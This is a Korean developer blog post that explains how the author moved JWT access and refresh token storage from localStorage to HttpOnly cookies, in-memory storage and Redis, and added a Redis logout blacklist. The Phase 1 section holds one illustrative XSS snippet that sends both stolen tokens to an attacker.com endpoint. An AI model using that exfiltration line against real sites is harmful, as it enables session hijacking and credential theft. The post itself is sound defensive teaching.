Access Token, Refresh Token의 개념과 저장 & 전송 방식

DEV/Web

Access Token, Refresh Token의 개념과 저장 & 전송 방식

BI3A 2026. 4. 2. 14:25

반응형

About JWT, Access Token과 Refresh Token



Access Token, Refresh Token 저장 & 전송 개발 및 리팩토링

인증 토큰을 어디에 저장하느냐는 보안의 출발점이다.
인증 서비스를 구현하며 토큰 저장 및 전송 방식을
localStorage에서 시작해 HttpOnly 쿠키, Redis, 프론트엔드 메모리로 단계적으로 개선한 의사결정 과정을 정리한다.


Access Token과 Refresh Token

왜 토큰이 두 개인지, 각자 어떤 역할을 하는지부터 짚어본다.

JWT(JSON Web Token)를 기반으로 한 인증에서는 두 종류의 토큰을 사용한다.

Access Token은 API 요청에 직접 첨부하는 짧은 수명의 인증 증표다. 매 요청마다 Authorization: Bearer {token} 헤더에 담겨 서버로 전달된다.
Refresh Token은 Access Token이 만료됐을 때 새로 발급받기 위해 사용하는 긴 수명의 토큰이다. 두 토큰을 분리하는 이유는 하나다. Access Token의 노출 위험을 줄이면서도 사용자가 매번 로그인하지 않아도 되게 하기 위해서다.

  • Access Token: 수명 1시간. 매 API 요청마다 헤더에 첨부된다. 탈취되더라도 짧은 시간 안에 만료된다.
  • Refresh Token: 수명 14일. Access Token 재발급 요청 시에만 사용된다. 탈취되면 장기 세션 위협이 된다.
  • 두 토큰 모두 서명 알고리즘 HS384로 생성되며, 서버의 비밀 키로만 유효성을 검증할 수 있다.

기본 인증 흐름

두 토큰이 어떻게 협력하는지 데이터 플로우로 살펴본다.

sequenceDiagram
    participant Client as 클라이언트 (브라우저)
    participant Server as 서버 (Spring Boot)
    participant Redis

    Client->>Server: POST /login (OTP 검증)
    Server-->>Client: Access Token (응답 바디) + Refresh Token (HttpOnly 쿠키)

    Client->>Server: GET /api/resource Authorization: Bearer {accessToken}
    Server-->>Client: 200 OK

    Note over Client,Server: Access Token 만료 (1시간 후)

    Client->>Server: POST /api/member/refresh (쿠키 자동 첨부)
    Server->>Redis: Refresh Token 유효성 확인
    Redis-->>Server: memberId 반환
    Server-->>Client: 새 Access Token (응답 바디) + 새 Refresh Token (쿠키 갱신)

Phase 1 — localStorage에 두 토큰을 모두 저장

가장 빠르게 구현할 수 있는 방법이지만, 가장 위험한 방법이기도 하다.


localStorage란?

localStorage는 브라우저가 제공하는 키-값 저장소다. 탭을 닫거나 새로고침해도 데이터가 유지되고, 같은 도메인이라면 어떤 JavaScript 코드든 window.localStorage를 통해 자유롭게 읽고 쓸 수 있다.

  • 장점: 새로고침 후에도 데이터가 유지된다. 구현이 단순하다.
  • 단점: 같은 도메인의 모든 JS에서 접근 가능하다. XSS(Cross-Site Scripting) 공격으로 악성 스크립트가 삽입되면 저장된 토큰을 그대로 읽어갈 수 있다.

ASIS: 초기 구현

로그인 성공 시 서버가 응답 바디에 accessToken과 refreshToken을 모두 반환했다. 프론트엔드는 이 두 값을 localStorage에 저장했다.

// api.ts — 초기 구현
axiosInstance.interceptors.request.use((config) => {
  const token = localStorage.getItem('accessToken'); // ⚠️ XSS로 접근 가능
  if (token) config.headers.Authorization = `Bearer ${token}`;
  return config;
});

// 401 수신 시 refreshToken을 꺼내 재발급 요청
const refreshToken = localStorage.getItem('refreshToken'); // ⚠️ 마찬가지로 노출
const { data } = await axiosInstance.post('/api/auth/refresh', { refreshToken });
localStorage.setItem('accessToken', data.data.accessToken);
localStorage.setItem('refreshToken', data.data.refreshToken);
// AuthController.java — 초기 구현
// 응답 바디에 두 토큰을 모두 포함해 반환
return ApiResponse.success(new TokenResponse(accessToken, refreshToken));

취약점: XSS로 두 토큰 동시 탈취 가능

// 공격자가 삽입한 악성 스크립트
const stolen = {
  access: localStorage.getItem('accessToken'),
  refresh: localStorage.getItem('refreshToken'),
};
fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(stolen) });

Refresh Token까지 탈취되면 만료(14일) 전까지 공격자가 새 Access Token을 계속 발급받을 수 있다. 이것이 Phase 2 전환의 출발점이었다.


Phase 2 — Refresh Token을 HttpOnly 쿠키로 전환

수명이 긴 Refresh Token부터 JS 접근이 불가능한 저장소로 옮긴다.


쿠키와 HttpOnly 쿠키의 차이

일반 쿠키는 브라우저가 요청마다 자동으로 첨부해주는 저장소지만, JavaScript에서 document.cookie로 읽고 쓰는 것이 가능하다. XSS가 발생하면 쿠키에 저장된 값도 탈취될 수 있다.

HttpOnly 쿠키는 서버가 응답 헤더에 HttpOnly 플래그를 설정한 쿠키다. 브라우저는 이 플래그가 있는 쿠키를 JavaScript로 접근하는 것을 차단한다. document.cookie로도 읽을 수 없고, XSS 스크립트가 삽입되더라도 해당 쿠키 값은 꺼낼 수 없다.

graph LR
    subgraph A["일반 쿠키"]
        A1["JS 접근: document.cookie 가능 ✅"]
        A2["XSS 탈취 위험: 있음 ✅"]
        A3["요청 자동 첨부: 가능"]
        A4["설정 주체: JS 또는 서버"]
    end
    subgraph B["HttpOnly 쿠키"]
        B1["JS 접근: 브라우저가 차단 ❌"]
        B2["XSS 탈취 위험: 없음 ❌"]
        B3["요청 자동 첨부: 가능"]
        B4["설정 주체: 서버만 가능"]
    end
    A -->|"HttpOnly 플래그 적용"| B

왜 Refresh Token을 먼저 옮겼나?

Access Token은 수명이 1시간이지만 Refresh Token은 14일이다. 탈취됐을 때 피해 기간이 훨씬 길기 때문에 우선순위가 높았다. HttpOnly 쿠키는 서버만 읽을 수 있고 JavaScript로는 접근이 차단된다.


백엔드: ResponseCookie로 HttpOnly 쿠키 발급

// AuthController.java — HttpOnly 쿠키 발급
ResponseCookie cookie = ResponseCookie.from("refreshToken", refreshToken)
    .httpOnly(true)              // JS 접근 차단
    .secure(cookieSecure)        // HTTPS에서만 전송 (로컬: false, 운영: true)
    .path("/api/member/refresh") // 이 경로에서만 쿠키가 자동 첨부됨
    .maxAge(Duration.ofMillis(refreshExpiry))
    .sameSite("Lax")
    .build();

response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());

// 응답 바디에는 accessToken만 포함. refreshToken은 @JsonIgnore 처리
return ApiResponse.success(new AccessTokenResponse(accessToken));

프론트엔드: withCredentials로 쿠키 자동 첨부

// api.ts — HttpOnly 쿠키 전환 후
const axiosInstance = axios.create({
  headers: { 'Content-Type': 'application/json' },
  withCredentials: true, // 쿠키를 요청에 자동으로 첨부
});

// 401 수신 시 refreshToken을 직접 읽을 필요 없음, 쿠키가 자동 첨부됨
const { data } = await axiosInstance.post('/api/member/refresh');
// 요청 바디 없음. 서버가 쿠키에서 refreshToken을 읽어 처리

남은 취약점

Refresh Token은 안전해졌지만 Access Token은 여전히 localStorage에 남아 있었다. XSS가 발생하면 Access Token 탈취는 여전히 가능하고, 만료까지 최대 1시간 동안 API를 자유롭게 호출할 수 있었다.


Phase 3 — Refresh Token 저장소를 PostgreSQL에서 Redis로 전환

빠른 조회와 TTL 자동 만료를 위해 저장소 계층을 바꾼다.


PostgreSQL과 Redis의 차이

PostgreSQL은 디스크 기반의 관계형 데이터베이스다. 데이터가 영구적으로 저장되고 복잡한 쿼리가 가능하지만, 만료 처리를 위해서는 expire_at 컬럼을 매번 현재 시간과 비교하는 코드가 필요하다.

Redis는 메모리 기반의 키-값 저장소다. 디스크를 거치지 않아 조회 속도가 O(1)로 매우 빠르고, TTL(Time To Live)을 설정하면 만료 시점에 키를 자동으로 삭제해준다.

graph LR
    subgraph A["PostgreSQL (ASIS)"]
        A1["저장 위치: 디스크"]
        A2["조회 성능: O(log n) 인덱스 검색"]
        A3["만료 처리: expire_at 컬럼 코드로 직접 비교"]
        A4["영속성: 영구 저장 ✅"]
        A5["용도: 비즈니스 핵심 데이터"]
    end
    subgraph B["Redis (TOBE)"]
        B1["저장 위치: 메모리"]
        B2["조회 성능: O(1) 메모리 직접 접근"]
        B3["만료 처리: TTL 설정 → 자동 삭제 ✅"]
        B4["영속성: 기본 휘발성 (세션 데이터에 적합)"]
        B5["용도: 세션, 캐시, 임시 데이터"]
    end
    A -->|"Phase 3 전환\n이유: 빈번한 조회 + 만료 자동화"| B

Redis로 옮긴 이유?

  • Refresh Token 재발급은 Access Token이 만료될 때마다 발생하는 빈번한 연산이다.
  • 조회가 잦고 수명이 정해진 임시 데이터이기 때문에 Redis가 더 적합하다.
  • PostgreSQL에서 필요했던 만료 비교 코드도 TTL로 대체할 수 있어 로직이 단순해진다.

Redis 키 구조

auth:refresh:token:{tokenValue}  →  memberId         (TTL = 14일, 자동 만료)
auth:refresh:member:{memberId}   →  Set<tokenValue>  (다중 기기 역방향 인덱스)
// RefreshTokenService.java
@Service
@RequiredArgsConstructor
public class RefreshTokenService {

    private static final String TOKEN_PREFIX  = "auth:refresh:token:";
    private static final String MEMBER_PREFIX = "auth:refresh:member:";

    private final RedisTemplate<String, String> redisTemplate;

    @Value("${jwt.refresh-expiry}")
    private long refreshExpiry;

    // 저장: token → memberId (TTL 설정), member Set에 token 추가 (다중 기기 지원)
    public void save(String memberId, String tokenValue) {
        redisTemplate.opsForValue().set(
            TOKEN_PREFIX + tokenValue, memberId, refreshExpiry, TimeUnit.MILLISECONDS);
        redisTemplate.opsForSet().add(MEMBER_PREFIX + memberId, tokenValue);
    }

    // 조회: TTL이 만료되면 키가 사라지므로 Optional.empty() 반환 (만료 체크 불필요)
    public Optional<String> findMemberIdByToken(String tokenValue) {
        return Optional.ofNullable(
            redisTemplate.opsForValue().get(TOKEN_PREFIX + tokenValue));
    }

    // 전체 삭제: 로그아웃 / 탈퇴 시 모든 기기 세션 종료
    public void deleteAllByMemberId(String memberId) {
        Set<String> tokens = redisTemplate.opsForSet().members(MEMBER_PREFIX + memberId);
        if (tokens != null) {
            tokens.forEach(tv -> redisTemplate.delete(TOKEN_PREFIX + tv));
        }
        redisTemplate.delete(MEMBER_PREFIX + memberId);
    }
}

남은 취약점

저장소가 빨라졌지만 Access Token은 여전히 localStorage에 있었다.


Phase 4 — Access Token을 프론트엔드 메모리(tokenStore)로 전환

localStorage에서 완전히 벗어나 XSS로부터 Access Token을 보호한다.


localStorage와 메모리(모듈 변수)의 차이

localStorage는 브라우저가 관리하는 전역 저장소로, 같은 도메인의 모든 JavaScript 코드가 접근할 수 있다. XSS 공격으로 악성 스크립트가 삽입되면 localStorage.getItem()으로 토큰을 그대로 읽어갈 수 있다.

JavaScript 모듈 수준의 변수는 해당 모듈의 스코프 안에서만 존재한다. 다른 스크립트가 삽입되더라도 모듈 내부 변수에 직접 접근할 수 없다. 단, 페이지를 새로고침하면 변수가 초기화된다는 트레이드오프가 있다.

graph LR
    subgraph A["localStorage (ASIS)"]
        A1["JS 접근 범위: 같은 도메인 모든 JS ✅"]
        A2["XSS 탈취 위험: 있음 ✅"]
        A3["새로고침 후 유지: 자동 유지 ✅"]
        A4["복원 방법: 즉시 읽기 가능"]
    end
    subgraph B["메모리 tokenStore (TOBE)"]
        B1["JS 접근 범위: 해당 모듈 스코프만 ❌"]
        B2["XSS 탈취 위험: 없음 ❌"]
        B3["새로고침 후 유지: 초기화됨 ❌"]
        B4["복원 방법: /refresh 호출로 세션 복원"]
    end
    A -->|"Phase 4 전환\n이유: XSS 탈취 위험 제거"| B

ASIS → TOBE

// ASIS: localStorage에 직접 저장
localStorage.setItem('accessToken', token);
const token = localStorage.getItem('accessToken');
// TOBE: 모듈 수준 메모리 변수에만 보관
// tokenStore.ts
let _accessToken: string | null = null;

export const tokenStore = {
  get: () => _accessToken,
  set: (token: string) => { _accessToken = token; },
  clear: () => { _accessToken = null; },
};
// api.ts — tokenStore 적용
axiosInstance.interceptors.request.use((config) => {
  const token = tokenStore.get(); // localStorage 대신 메모리에서 읽기
  if (token) config.headers.Authorization = `Bearer ${token}`;
  return config;
});

// 401 수신 시 새 토큰도 메모리에 저장
const { data } = await axiosInstance.post('/api/member/refresh');
tokenStore.set(data.data.accessToken);
// AppContext.tsx — 앱 마운트 시 세션 복원
// 새로고침으로 메모리가 초기화되면, HttpOnly 쿠키의 Refresh Token으로 복원
useEffect(() => {
  authService.refresh()
    .then(({ accessToken }) => {
      tokenStore.set(accessToken);
      setIsAuthenticated(true);
    })
    .catch(() => setIsAuthenticated(false))
    .finally(() => setIsInitializing(false));
}, []);

남은 취약점

로그아웃 후 메모리는 즉시 비워지지만, 서버는 여전히 해당 Access Token을 유효한 것으로 처리한다. JWT는 stateless(상태 비저장) 방식이라 서버가 발급한 토큰을 일방적으로 무효화할 수 없기 때문이다.


Phase 5 — 로그아웃 시 Access Token을 Redis 블랙리스트에 등록

stateless JWT의 무효화 한계를 Redis로 극복한다.


stateless JWT의 구조적 한계

JWT는 서버가 상태를 저장하지 않는다는 것이 핵심 설계 원칙이다. 서명이 유효하고 만료 시간이 지나지 않았다면 서버는 무조건 인증을 허용한다. 이 구조에서는 로그아웃을 해도 발급된 토큰 자체를 서버가 취소할 방법이 없다.

Redis 블랙리스트는 이 한계를 우회하는 방법이다. 로그아웃 시 해당 Access Token을 Redis에 등록해두고, 이후 요청이 올 때마다 블랙리스트 여부를 먼저 확인한다. TTL을 토큰 잔여 유효 시간으로 설정하면 만료 후 자동 삭제되어 메모리 낭비 없이 운영할 수 있다.

트레이드오프: 모든 요청마다 Redis 조회가 한 번씩 추가된다. 완전한 stateless를 포기하는 대신 로그아웃 즉시 무효화를 얻는 선택이다.


백엔드: 블랙리스트 서비스 구현

// AuthBlacklistService.java
@Service
@RequiredArgsConstructor
public class AuthBlacklistService {

    private static final String KEY_PREFIX = "auth:blacklist:";
    private final RedisTemplate<String, String> redisTemplate;

    // 로그아웃 시 호출 — 잔여 유효 시간만큼 TTL 설정, 이후 자동 삭제
    public void blacklist(String accessToken, long remainingMillis) {
        if (remainingMillis > 0) {
            redisTemplate.opsForValue().set(
                KEY_PREFIX + accessToken, "1", remainingMillis, TimeUnit.MILLISECONDS);
        }
    }

    public boolean isBlacklisted(String accessToken) {
        return Boolean.TRUE.equals(redisTemplate.hasKey(KEY_PREFIX + accessToken));
    }
}
// JwtAuthenticationFilter.java — 토큰 검증 전 블랙리스트 먼저 확인
String token = extractBearerToken(request);
if (token != null && blacklistService.isBlacklisted(token)) {
    // 서명이 유효하더라도 블랙리스트에 있으면 인증 거부
    response.sendError(HttpServletResponse.SC_UNAUTHORIZED);
    return;
}
// 이후 서명·만료 시간 검증 진행

저장 방식별 비교 및 최종 선택 정리

5개 페이즈를 거치며 어떤 저장 방식을 왜 선택했는지, 각 방식의 장단점을 한눈에 비교한다.


Access Token 저장 위치 비교

graph LR
    subgraph A["ASIS: localStorage"]
        A1["개념: 브라우저 전역 키-값 저장소"]
        A2["JS 접근: 같은 도메인 모든 JS 접근 가능 ✅"]
        A3["XSS 탈취: 위험 ✅"]
        A4["새로고침: 자동 유지 ✅"]
    end
    subgraph B["TOBE: 메모리 tokenStore"]
        B1["개념: JS 모듈 스코프 내 변수"]
        B2["JS 접근: 모듈 외부 접근 불가 ❌"]
        B3["XSS 탈취: 안전 ❌"]
        B4["새로고침: 초기화 후 /refresh로 복원"]
    end
    A -->|"전환 이유: XSS 탈취 위험 제거"| B

Refresh Token 전송 방식 비교

graph LR
    subgraph A["ASIS: localStorage + 요청 바디"]
        A1["개념: JS로 직접 읽어 요청 바디에 포함"]
        A2["JS 접근: 가능 ✅"]
        A3["XSS 탈취: 위험 ✅"]
        A4["CSRF 위험: 없음 (수동 전송)"]
        A5["구현 복잡도: 낮음"]
    end
    subgraph B["TOBE: HttpOnly 쿠키"]
        B1["개념: 서버가 설정, 브라우저가 자동 첨부"]
        B2["JS 접근: 불가 — HttpOnly 플래그 ❌"]
        B3["XSS 탈취: 안전 ❌"]
        B4["CSRF 위험: 존재 — SameSite 설정으로 완화 ⚠️"]
        B5["구현 복잡도: 서버·클라이언트 양쪽 설정 필요"]
    end
    A -->|"전환 이유: 수명 14일 토큰의 JS 노출 위험 제거"| B

Refresh Token 서버 저장소 비교

graph LR
    subgraph A["ASIS: PostgreSQL"]
        A1["개념: 디스크 기반 관계형 DB"]
        A2["조회 성능: O(log n) 인덱스 검색"]
        A3["만료 처리: expire_at 컬럼 코드로 비교"]
        A4["영속성: 영구 저장 ✅"]
    end
    subgraph B["TOBE: Redis"]
        B1["개념: 메모리 기반 키-값 저장소"]
        B2["조회 성능: O(1) 메모리 직접 접근"]
        B3["만료 처리: TTL 설정 → 자동 삭제 ✅"]
        B4["영속성: 기본 휘발성 — 세션 데이터에 적합"]
    end
    A -->|"전환 이유: 빈번한 조회 성능 + 만료 자동화"| B

로그아웃 후 Access Token 처리 비교

graph LR
    subgraph A["ASIS: 무효화 없음"]
        A1["방식: stateless JWT — 서버가 상태를 저장하지 않음"]
        A2["로그아웃 후 토큰: 만료까지 유효 최대 1시간 ✅"]
        A3["추가 비용: 없음"]
        A4["메모리 사용: 없음"]
    end
    subgraph B["TOBE: Redis 블랙리스트"]
        B1["방식: 로그아웃한 토큰을 Redis에 등록 후 요청마다 확인"]
        B2["로그아웃 후 토큰: 즉시 무효화 ❌"]
        B3["추가 비용: 요청마다 Redis 조회 1회 추가"]
        B4["메모리 사용: TTL = 잔여 유효 시간 → 자동 정리"]
    end
    A -->|"전환 이유: 로그아웃 후 탈취 토큰 악용 차단"| B
반응형

'DEV > Web' 카테고리의 다른 글

[RESTful API] API의 success 필드의 존재 의미  (0) 2026.02.08
Tomcat과 Catalina  (0) 2025.11.12
[HTTP] 상태 코드(Status Code) 설명  (11) 2023.12.06